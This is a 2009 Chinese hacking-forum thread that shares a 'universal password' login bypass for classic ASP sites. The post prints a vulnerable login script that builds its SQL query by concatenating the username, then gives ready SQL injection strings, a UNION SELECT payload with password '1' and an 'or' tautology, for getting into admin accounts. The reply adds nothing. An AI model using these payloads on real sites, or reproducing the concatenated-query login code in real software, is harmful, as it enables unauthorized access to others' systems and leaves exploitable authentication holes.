WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 2188查看
  • 1回复

[经验分享] 新的万能密码

主题

好友

166

积分

注册会员

发表于 2009-12-10 15:37:35 |显示全部楼层
<%
username=trim(Request.Form("username"))
password=trim(Request.Form("password"))
sql="SELECT * FROM admin WHERE user='"&username&"'"
Set rs=Server.CreateObject("adodb.recordset")
rs.Open sql,conn,1,1
if rs.eof then
       checksysUser=FALSE
else
       passwd=trim(rs("pwd"))
       if passwd=password then
          Session("admin")=username
          checksysUser=TRUE              
           else
          checksysUser=FALSE
       end if
End if
rs.close
conn.close
if checksysUser=true then
       Response.Redirect("main.asp")
else
       errmsg="<font color=#FF0000><b>用户名输入有误,请重新输入!</b></font>"
end if
%>

先在数据库中查询用户名对应的密码,然后再和用户输入的密码对比,导致'or'='or'这样的万能登陆密码失效。www.smxiaoqiang.cn

但如果在上面的程序中,用户名输入[' UNION SELECT 1,1,1 FROM admin WHERE ''='](不包括中括号),密码输入1,就可以登陆成功,原理很简单,就不多说了。顺便附上oldjun的语句:[' UNION SELECT 1,1,1 AS pwd FROM admin WHERE ''='](不包括中括号)。


hima' or 'a'='a

主题

好友

424

积分

荣誉贵宾

发表于 2010-1-13 12:29:36 |显示全部楼层











                                  瞄一眼   闪人 !!!!!!!!!!!!
回复

使用道具 举报

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-4-28 15:29 , Processed in 0.052581 second(s), 16 queries .

返回顶部